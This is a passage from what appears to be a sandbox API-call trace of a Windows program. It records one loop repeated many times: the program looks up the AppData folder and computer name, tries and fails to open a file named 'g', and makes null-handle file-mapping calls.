hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.171] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.171] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.171] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.171] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.171] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.171] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.171] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.171] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.171] CloseHandle (hObject=0x0) returned 0 [0145.171] CloseHandle (hObject=0xffffffff) returned 1 [0145.171] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.172] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.172] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.172] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.172] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.172] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.172] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.172] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.172] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.172] CloseHandle (hObject=0x0) returned 0 [0145.172] CloseHandle (hObject=0xffffffff) returned 1 [0145.172] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.172] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.172] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.172] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.172] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.172] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.172] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.172] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.172] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.172] CloseHandle (hObject=0x0) returned 0 [0145.172] CloseHandle (hObject=0xffffffff) returned 1 [0145.172] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.172] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.172] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.172] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.172] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.172] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.172] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.173] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.173] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.173] CloseHandle (hObject=0x0) returned 0 [0145.173] CloseHandle (hObject=0xffffffff) returned 1 [0145.173] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.173] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.173] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.173] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.173] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.173] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.173] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.173] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.173] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.173] CloseHandle (hObject=0x0) returned 0 [0145.173] CloseHandle (hObject=0xffffffff) returned 1 [0145.173] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.173] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.173] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.173] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.173] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.173] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.173] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.173] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.173] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.173] CloseHandle (hObject=0x0) returned 0 [0145.173] CloseHandle (hObject=0xffffffff) returned 1 [0145.173] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.173] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.173] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.174] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.174] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.174] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.174] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.174] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.174] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.174] CloseHandle (hObject=0x0) returned 0 [0145.174] CloseHandle (hObject=0xffffffff) returned 1 [0145.174] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.174] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.174] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.174] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.174] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.174] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.174] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.174] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.174] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.174] CloseHandle (hObject=0x0) returned 0 [0145.174] CloseHandle (hObject=0xffffffff) returned 1 [0145.174] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.174] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.174] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.174] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.174] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.175] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.175] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.175] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.175] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.175] CloseHandle (hObject=0x0) returned 0 [0145.175] CloseHandle (hObject=0xffffffff) returned 1 [0145.175] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.175] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.175] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.175] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.175] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.175] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.175] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.175] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.175] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.175] CloseHandle (hObject=0x0) returned 0 [0145.175] CloseHandle (hObject=0xffffffff) returned 1 [0145.175] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.175] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.175] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.175] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.175] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.175] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.175] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.175] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.175] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.175] CloseHandle (hObject=0x0) returned 0 [0145.176] CloseHandle (hObject=0xffffffff) returned 1 [0145.176] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.176] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.176] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.176] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.176] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.176] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.176] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.176] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.176] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.176] CloseHandle (hObject=0x0) returned 0 [0145.176] CloseHandle (hObject=0xffffffff) returned 1 [0145.176] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.176] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.176] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.176] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.176] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.176] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.176] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.176] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.176] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.176] CloseHandle (hObject=0x0) returned 0 [0145.176] CloseHandle (hObject=0xffffffff) returned 1 [0145.176] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.176] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.176] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.176] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.176] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.177] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.177] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.177] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.177] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.177] CloseHandle (hObject=0x0) returned 0 [0145.177] CloseHandle (hObject=0xffffffff) returned 1 [0145.177] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.177] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.177] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.177] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.177] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.177] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.177] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.177] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.177] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.177] CloseHandle (hObject=0x0) returned 0 [0145.177] CloseHandle (hObject=0xffffffff) returned 1 [0145.177] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.177] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.177] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.177] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.177] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.177] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.177] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.177] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.177] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.177] CloseHandle (hObject=0x0) returned 0 [0145.177] CloseHandle (hObject=0xffffffff) returned 1 [0145.177] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.178] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.178] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.178] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.178] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.178] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.178] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.178] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.178] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.178] CloseHandle (hObject=0x0) returned 0 [0145.178] CloseHandle (hObject=0xffffffff) returned 1 [0145.178] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.178] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, 